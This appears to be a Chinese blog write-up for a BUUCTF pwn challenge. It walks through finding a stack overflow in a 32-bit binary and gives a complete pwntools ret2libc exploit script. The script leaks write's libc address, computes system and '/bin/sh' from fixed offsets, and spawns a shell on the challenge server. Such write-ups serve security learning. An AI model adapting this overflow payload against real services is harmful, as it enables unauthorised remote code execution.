[buuctf] 铁人三项(第五赛区)_2018_rop 1

首先查看一下文件的基础信息
image
可以看到是个32位的程序,保护措施就开了个NX
在用32位的ida打开看看文件具体干了什么
image
发现这么看main中就是主要调用了两个函数,那就具体看看这两个函数干了什么,其实看函数名就发现第二个函数肯定存在问题,得好好看看
image
点开发现这里存在溢出,想到可以溢出修改返回地址
在看看字符串,有没有想要的‘/bin/sh’
image
啥都没有,也没找到system
那么看到PIE的保护也没开那就是libc泄露了
写成下面的攻击脚本

点击查看代码
from pwn import*
p=remote('node5.buuoj.cn',29033)
elf=ELF('./rop_2018')
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x080484c6
payload=b'a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x20)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
system=write_add-0xa89e0
binsh=write_add+0x961df
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

也是看了很久这篇解题思路
https://blog.csdn.net/qq_51032807/article/details/114808339?spm=1001.2014.3001.5501

posted @ 2025-07-02 21:23  Rye01R  阅读(82)  评论(0)    收藏  举报